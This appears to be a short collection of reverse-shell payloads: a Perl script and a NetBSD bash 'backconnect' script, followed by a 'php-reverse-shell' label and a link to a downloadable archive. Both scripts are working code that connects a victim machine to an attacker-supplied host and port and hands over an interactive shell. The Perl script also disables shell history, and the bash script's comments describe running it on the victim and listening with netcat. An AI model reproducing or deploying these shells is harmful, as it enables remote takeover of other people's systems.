perl
#!/usr/bin/perl
use Socket;
use FileHandle;
$IP = $ARGV[0];
$PORT = $ARGV[1];
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
connect(SOCKET, sockaddr_in($PORT,inet_aton($IP)));
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
system("id;pwd;uname -a;w;HISTFILE=/dev/null /bin/sh -i");
bash
#!/usr/pkg/bin/bash
# Author : Teo Manojlovic
#
################################
#
# Reverse netBSD backconnect script written in bash
#
################################
#
# Tested on netBSD 5.0.1
#
# This example is only for learning purposes
#
# Usage: "bash backdonnect.sh IPaddr port " on victims machine
#
# On attacker machine use netcat "nc -lvvp IP port"
#
# Script was made as a result of playing with bash and /dev/tcp
#
# And it is important that script is running in bash shell
if [ -z "$2" ]; then
echo " Usage: "bash portbind.sh IPaddr port""
exit
fi
exec strings /usr/pkg/bin/bash | grep tcp
exec 7<> /dev/tcp/$1/$2
cat <&7 | while read command;
do
if [ $command == "stop" ]; then
exit 1
else
$command 2>&7 >&7;
fi
done
php-reverse-shell
https://jjoon.net/page/wp-content/uploads/1/1165837816.gz